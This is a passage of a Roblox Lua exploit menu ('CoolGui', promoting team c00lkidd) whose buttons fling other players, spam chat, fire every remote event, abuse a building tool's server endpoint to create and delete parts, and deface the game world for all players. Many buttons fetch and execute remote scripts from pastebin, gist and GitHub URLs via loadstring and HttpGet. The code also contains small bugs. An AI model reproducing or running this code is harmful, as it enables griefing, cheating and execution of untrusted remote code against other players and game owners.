size=Vector3.new(0.3,1.3,0.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
inv;
touched=function(hit)
if(hit.Parent.className=='Model')then
local hum=_hum(hit.Parent);
if(hum~=nil)then
_hum_dam(hum,handle.Velocity.magnitude);
end;
end;
end;
};
h_weld=_new'weld'{
c1=h_weld_cf_inactive;
part1=handle;
part0=torso;
handle;
};
_make_hue();
h_part=_new'part'{
size=Vector3.new(0.4,0.4,1.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
handle;
};
hp_weld=_new'weld'{
c1=_cframe(0,-1.3/2,-0.3,
20,0,0);
part0=handle;
part1=h_part;
handle;
};
drag=_new'part'{
size=Vector3.new(0.5,0.45,1.5);
color=_RGB(100,100,100);
name='handle';
formFactor=3;
handle;
};
d_weld=_new'weld'{
c1=_cframe(0,-0.25,0);
part0=h_part;
part1=drag;
handle;
};
tube=_new'part'{
size=Vector3.new(0.2,0.2,1.5);
color=_RGB(0,0,0);
name='handle';
formFactor=3;
handle;
};
t_weld=_new'weld'{
c1=_cframe(0,-0.3,-0.1);
part0=h_part;
part1=tube;
handle;
};
bullets_label=_new'textLabel'{
textStrokeColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
textStrokeTransparency=0;
backgroundTransparency=1;
fontSize=5;
screen;
};
lightstuff=_new'frame'{
backgroundColor3=_RGB(255,255,255);
position=UDim2.new(0,0,0,-1);
backgroundTransparency=0.5;
size=UDim2.new(1,0,1,1);
borderSizePixel=0;
visible=false;
screen;
};
coroutine.wrap(function()
local red,white,green;
repeat
if(screen.Parent)then
if(not green and bullets.current==bullets.maximum)then
green=true;
bullets_label.TextColor3=_RGB(0,200,0);
elseif(not red and bullets.current==0)then
red=true;
bullets_label.TextColor3=_RGB(200,0,0);
elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then
bullets_label.TextColor3=_RGB(200,200,200);
green=false;
red=false;
end;
bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip);
bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y);
bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
end;
wait(0.001);
until nil;
end)();
--fling part
local Players = game:GetService("Players")
local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
Mouse.Button1Down:Connect(function()
local Target = Mouse.Target
if Target and Target.Parent and Target.Parent:IsA("Model") and Players:GetPlayerFromCharacter(Target.Parent) then
local PlayerName = Players:GetPlayerFromCharacter(Target.Parent).Name
local player = game.Players.LocalPlayer
local Targets = {PlayerName}
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local AllBool = false
local GetPlayer = function(Name)
Name = Name:lower()
if Name == "all" or Name == "others" then
AllBool = true
return
elseif Name == "random" then
local GetPlayers = Players:GetPlayers()
if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
return GetPlayers[math.random(#GetPlayers)]
elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
for _,x in next, Players:GetPlayers() do
if x ~= Player then
if x.Name:lower():match("^"..Name) then
return x;
elseif x.DisplayName:lower():match("^"..Name) then
return x;
end
end
end
else
return
end
end
local Message = function(_Title, _Text, Time)
print(_Title)
print(_Text)
print(Time)
end
local SkidFling = function(TargetPlayer)
local Character = Player.Character
local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart
local TCharacter = TargetPlayer.Character
local THumanoid
local TRootPart
local THead
local Accessory
local Handle
if TCharacter:FindFirstChildOfClass("Humanoid") then
THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
end
if THumanoid and THumanoid.RootPart then
TRootPart = THumanoid.RootPart
end
if TCharacter:FindFirstChild("Head") then
THead = TCharacter.Head
end
if TCharacter:FindFirstChildOfClass("Accessory") then
Accessory = TCharacter:FindFirstChildOfClass("Accessory")
end
if Accessoy and Accessory:FindFirstChild("Handle") then
Handle = Accessory.Handle
end
if Character and Humanoid and RootPart then
if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THumanoid and THumanoid.Sit and not AllBool then
end
if THead then
workspace.CurrentCamera.CameraSubject = THead
elseif not THead and Handle then
workspace.CurrentCamera.CameraSubject = Handle
elseif THumanoid and TRootPart then
workspace.CurrentCamera.CameraSubject = THumanoid
end
if not TCharacter:FindFirstChildWhichIsA("BasePart") then
return
end
local FPos = function(BasePart, Pos, Ang)
RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
end
local SFBasePart = function(BasePart)
local TimeToWait = 2
local Time = tick()
local Angle = 0
repeat
if RootPart and THumanoid then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
else
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
end
else
break
end
until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
end
workspace.FallenPartsDestroyHeight = 0/0
local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
if TRootPart and THead then
if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle then
SFBasePart(Handle)
else
end
BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
workspace.CurrentCamera.CameraSubject = Humanoid
repeat
RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
workspace.FallenPartsDestroyHeight = getgenv().FPDH
else
end
end
getgenv().Welcome = true
if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end
if AllBool then
for _,x in next, Players:GetPlayers() do
SkidFling(x)
end
end
for _,x in next, Targets do
if GetPlayer(x) and GetPlayer(x) ~= Player then
if GetPlayer(x).UserId ~= 1414978355 then
local TPlayer = GetPlayer(x)
if TPlayer then
SkidFling(TPlayer)
end
else
end
elseif not GetPlayer(x) and not AllBool then
end
end
end
end)
end)
end
coroutine.wrap(WXHMD_fake_script)()
local function VAVVNKT_fake_script() -- button_14.LocalScript
local script = Instance.new('LocalScript', button_14)
local button = script.Parent
button.MouseButton1Down:connect(function()
end)
end
coroutine.wrap(VAVVNKT_fake_script)()
local function KGMUQA_fake_script() -- button_15.LocalScript
local script = Instance.new('LocalScript', button_15)
local button = script.Parent
button.MouseButton1Down:connect(function()
if game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui") then
game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui"):Remove()
end
plr = game.Players.LocalPlayer.Name
y = Instance.new("BillboardGui")
y.Size = UDim2.new(0,100,0,150)
y.StudsOffset = Vector3.new(0,1,0)
y.Parent = game.Players[plr].Character.Head
y.Adornee = game.Players[plr].Character.Head
f = Instance.new("TextLabel")
f.Parent = y
f.BackgroundTransparency = 1
f.Position = UDim2.new(0,0,0,-50)
f.Size = UDim2.new(0,100,0,100)
f.Font = "Arial"
f.FontSize = "Size48"
f.Text = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.bgt.Text
f.TextStrokeColor3 = Color3.new(0,0,0)
f.TextColor3 = Color3.new(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.r.Text/255,game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.g.Text/255,game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.b.Text/255)
f.TextStrokeTransparency = 0
f.TextYAlignment = "Bottom"
end)
end
coroutine.wrap(KGMUQA_fake_script)()
local function VSJOVQF_fake_script() -- button_16.LocalScript
local script = Instance.new('LocalScript', button_16)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Name = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sus.Text
end)
end
coroutine.wrap(VSJOVQF_fake_script)()
local function AWLKGQB_fake_script() -- button_17.LocalScript
local script = Instance.new('LocalScript', button_17)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.swsjh.Text
end)
end
coroutine.wrap(AWLKGQB_fake_script)()
local function KDBGDV_fake_script() -- button_18.LocalScript
local script = Instance.new('LocalScript', button_18)
local button = script.Parent
button.MouseButton1Down:connect(function()
local name = game.Players.LocalPlayer.Name
local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.BrickColor = BrickColor.new("White")
p.BrickColor = BrickColor.new(104)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
end
coroutine.wrap(KDBGDV_fake_script)()
local function EBZROFQ_fake_script() -- button_19.LocalScript
local script = Instance.new('LocalScript', button_19)
local button = script.Parent
button.MouseButton1Down:connect(function()
local platform = Instance.new("Part")
platform.Size = Vector3.new(16, 1, 16)
platform.Transparency = 0.5
platform.Color = Color3.fromRGB(255, 0, 255)
platform.Anchored = true
platform.Parent = workspace
local player_position = game.Players.LocalPlayer.Character.Head.Position
platform.Position = Vector3.new(player_position.X, player_position.Y-5, player_position.Z)
end)
end
coroutine.wrap(EBZROFQ_fake_script)()
local function GECWI_fake_script() -- button_20.LocalScript
local script = Instance.new('LocalScript', button_20)
local button = script.Parent
button.MouseButton1Down:connect(function()
while true do
local args = {
[1] = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.st.Text,
[2] = "All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(args))
wait(1.5)
end
end)
end
coroutine.wrap(GECWI_fake_script)()
local function YPYE_fake_script() -- button_21.LocalScript
local script = Instance.new('LocalScript', button_21)
local button = script.Parent
button.MouseButton1Down:connect(function()
local Chicken = game.Players.LocalPlayer.Name
game.Workspace[Chicken].Torso["Left Shoulder"].C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
game.Workspace[Chicken].Torso["Left Shoulder"].C1 = CFrame.new(0, 0.5, 0)
game.Workspace[Chicken].Torso["Right Shoulder"].C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
game.Workspace[Chicken].Torso["Right Shoulder"].C1 = CFrame.new(0, 0.5, 0)
end)
end
coroutine.wrap(YPYE_fake_script)()
local function PXYT_fake_script() -- button_22.LocalScript
local script = Instance.new('LocalScript', button_22)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Workspace.Gravity = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sg.Text
end)
end
coroutine.wrap(PXYT_fake_script)()
local function NZXZI_fake_script() -- button_23.LocalScript
local script = Instance.new('LocalScript', button_23)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Humanoid.JumpPower = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.swsjh.Text
end)
end
coroutine.wrap(NZXZI_fake_script)()
local function GNAVNL_fake_script() -- button_24.LocalScript
local script = Instance.new('LocalScript', button_24)
local button = script.Parent
button.MouseButton1Down:connect(function()
for X = 1, math.huge, 0.2 do
wait()
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 = CFrame.new(math.sin(X) / 1,1.5,0)
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 = CFrame.new(0,0,0)
end
for X = 1, math.huge, 0.1 do
wait()
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 = CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X)
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 = CFrame.new(0,0,0)
end
for _,c in pairs(game.Players:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100)
end
for _,c in pairs(game.Players:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
end
end)
end
coroutine.wrap(GNAVNL_fake_script)()
local function QILPEVY_fake_script() -- button_25.LocalScript
local script = Instance.new('LocalScript', button_25)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))()
end)
end
coroutine.wrap(QILPEVY_fake_script)()
local function ORTLQH_fake_script() -- button_26.LocalScript
local script = Instance.new('LocalScript', button_26)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://16442596192")[1].Source)()
end)
end
coroutine.wrap(ORTLQH_fake_script)()
local function UYGWJL_fake_script() -- button_27.LocalScript
local script = Instance.new('LocalScript', button_27)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/8fc8c93e4c272559cc5629a1ee56a262/raw/0fe33a2585ec108eecf0c5f37a64626adb65a94c/Project%2520Soviet"))()
end)
end
coroutine.wrap(UYGWJL_fake_script)()
local function JOMSSFB_fake_script() -- button_28.LocalScript
local script = Instance.new('LocalScript', button_28)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/Harkedv2-script/main/Leaked-v2hardked"))()
end)
end
coroutine.wrap(JOMSSFB_fake_script)()
local function SWJK_fake_script() -- button_29.LocalScript
local script = Instance.new('LocalScript', button_29)
local button = script.Parent
button.MouseButton1Down:connect(function()
local remoteamount = 0
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
remoteamount = remoteamount + 1
v:FireServer()
if v:IsA("BindableEvent") then
remoteamount = remoteamount + 1
v:Fire()
if v:IsA("RemoteFunction") then
remoteamount = remoteamount + 1
v:InvokeServer()
end
end
end
end
end)
end
coroutine.wrap(SWJK_fake_script)()
local function KOGOB_fake_script() -- button_30.LocalScript
local script = Instance.new('LocalScript', button_30)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/Comet"))();
end)
end
coroutine.wrap(KOGOB_fake_script)()
local function WMSMR_fake_script() -- button_31.LocalScript
local script = Instance.new('LocalScript', button_31)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://github.com/exxtremestuffs/SimpleSpySource/raw/master/SimpleSpy.lua"))()
end)
end
coroutine.wrap(WMSMR_fake_script)()
local function HRJMKB_fake_script() -- button_32.LocalScript
local script = Instance.new('LocalScript', button_32)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://pastefy.app/edMe7Bwx/raw'))()
end)
end
coroutine.wrap(HRJMKB_fake_script)()
local function TEIB_fake_script() -- button_33.LocalScript
local script = Instance.new('LocalScript', button_33)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))();
end)
end
coroutine.wrap(TEIB_fake_script)()
local function UFBQWJB_fake_script() -- button_34.LocalScript
local script = Instance.new('LocalScript', button_34)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))()
end)
end
coroutine.wrap(UFBQWJB_fake_script)()
local function MHMTS_fake_script() -- button_35.LocalScript
local script = Instance.new('LocalScript', button_35)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/punch",true))()
end)
end
coroutine.wrap(MHMTS_fake_script)()
local function WMZOEHI_fake_script() -- button_36.LocalScript
local script = Instance.new('LocalScript', button_36)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://cdn.wearedevs.net/scripts/BTools.txt"))()
end)
end
coroutine.wrap(WMZOEHI_fake_script)()
local function DPJY_fake_script() -- button_37.LocalScript
local script = Instance.new('LocalScript', button_37)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
end)
end
coroutine.wrap(DPJY_fake_script)()
local function TVIACA_fake_script() -- button_38.LocalScript
local script = Instance.new('LocalScript', button_38)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/r7pVFVA7"))();
end)
end
coroutine.wrap(TVIACA_fake_script)()
local function KNPJVCM_fake_script() -- button_39.LocalScript
local script = Instance.new('LocalScript', button_39)
local button = script.Parent
local gui = game.Players.LocalPlayer.PlayerGui.CoolGui
button.MouseButton1Down:connect(function()
gui:Destroy()
end)
end
coroutine.wrap(KNPJVCM_fake_script)()
local function XVWGNC_fake_script() -- button_40.LocalScript
local script = Instance.new('LocalScript', button_40)
local button = script.Parent
button.MouseButton1Down:connect(function()
-- thanks to moon for this dex / best dex out there
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"))()
end)
end
coroutine.wrap(XVWGNC_fake_script)()
local function MGFUJR_fake_script() -- button_41.LocalScript
local script = Instance.new('LocalScript', button_41)
local button = script.Parent
button.MouseButton1Down:connect(function()
local plr=game.Players.LocalPlayer
local tool=Instance.new("Tool",plr.Backpack)
tool.GripPos=Vector3.new(0.1,-1,0)
tool.Name="Sword"
local k=Instance.new("Part",tool)
k.Name="Handle"
k.Size=Vector3.new(0.4,4,0.4)
local l=Instance.new("Animation",tool)
l.AnimationId="rbxassetid://218504594"
local m=plr.Character.Humanoid:LoadAnimation(l)
db=true
da=false
tool.Equipped:connect(function()
tool.Activated:connect(function()
if db==true then
db=false
m:Play()
wait()
da=true
db=true
wait(0.5)
da=false
end
end)
end)
k.Touched:connect(function(n)
if da==true then
local o=n.Parent.Humanoid
if o~=nil then
local p=game.Players:FindFirstChild(n.Parent.Name)
for j=1,10 do
if p.Name~="FunnyVideo15"then
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end
end
end
end
end)
end)
end
coroutine.wrap(MGFUJR_fake_script)()
local function VLDBBW_fake_script() -- button_42.LocalScript
local script = Instance.new('LocalScript', button_42)
local button = script.Parent
button.MouseButton1Down:connect(function()
game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "Discord", -- Required
Text = "discord.gg/KkhpkGJdCp",
})
end)
end
coroutine.wrap(VLDBBW_fake_script)()
local function OJGT_fake_script() -- button_43.LocalScript
local script = Instance.new('LocalScript', button_43)
local button = script.Parent
local input = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sid.Text
button.MouseButton1Down:connect(function()
local music = Instance.new("Sound")
music.Name "Music"
music.Parent = game.Workspace
music.Volume = 10
music.SoundId = input
music.Looped = true
music:Play()
end)
end
coroutine.wrap(OJGT_fake_script)()
local function WKPRGIV_fake_script() -- button_44.LocalScript
local script = Instance.new('LocalScript', button_44)
local button = script.Parent
button.MouseButton1Down:connect(function()
basics = {Color3.new(255/255,0/255,0/255),Color3.new(255/255,85/255,0/255),Color3.new(218/255,218/255,0/255),Color3.new(0/255,190/255,0/255),Color3.new(0/255,85/255,255/255),Color3.new(0/255,0/255,127/255),Color3.new(170/255,0/255,255/255),Color3.new(0/255,204/255,204/255),Color3.new(255/255,85/255,127/255),Color3.new(0/255,0/255,0/255),Color3.new(255/255,255/255,255/255)}
game.Lighting.FogStart = 25
game.Lighting.FogEnd = 300
while true do
wait(0.5)
game.Lighting.FogColor = basics[math.random(1,#basics)]
end
end)
end
coroutine.wrap(WKPRGIV_fake_script)()
local function UTRYB_fake_script() -- button_45.LocalScript
local script = Instance.new('LocalScript', button_45)
local button = script.Parent
button.MouseButton1Down:connect(function()
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID = 15475953475
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
decalID = 14569362147
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
local playerLeaderstats = {}
for i, v in pairs(game.Players:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.Torso)
pe.Texture = "http://www.roblox.com/asset/?id=14569362147"
pe.VelocitySpread = 50
se = Instance.new("ParticleEmitter",v.Character.Torso)
se.Texture = "http://www.roblox.com/asset/?id=14569362147"
se.VelocitySpread = 50
fe = Instance.new("ParticleEmitter",v.Character.Torso)
fe.Texture = "http://www.roblox.com/asset/?id=14569362147"
fe.VelocitySpread = 50
end
for i,v in pairs(game.Workspace:GetChildren()) do
if v.className == "Sound" then
v:Stop()
v:Remove()
end
end
s = Instance.new("Sound",Workspace)
s.SoundId = "rbxassetid://1839247124"
s.Volume = 10
s.Looped = true
s.Pitch = 0.5
s:Play()
wait(.1)
s:Play()
local h = Instance.new("Hint", workspace)
h.Text = "join team c00lkidd! discord.gg/KkhpkGJdCp"
end)
end
coroutine.wrap(UTRYB_fake_script)()
local function AGPKAV_fake_script() -- button_46.LocalScript
local script = Instance.new('LocalScript', button_46)
local button = script.Parent
button.MouseButton1Down:connect(function()
local playerLeaderstats = {}
for i, v in pairs(game.Players:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.Torso)
pe.Texture = "http://www.roblox.com/asset/?id=8979672"
pe.VelocitySpread = 50
se = Instance.new("ParticleEmitter",v.Character.Torso)
se.Texture = "http://www.roblox.com/asset/?id=176067516"
se.VelocitySpread = 50
fe = Instance.new("ParticleEmitter",v.Character.Torso)
fe.Texture = "http://www.roblox.com/asset/?id=179012130"
fe.VelocitySpread = 50
end
end)
end
coroutine.wrap(AGPKAV_fake_script)()
local function VBWFAA_fake_script() -- button_47.LocalScript
local script = Instance.new('LocalScript', button_47)
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
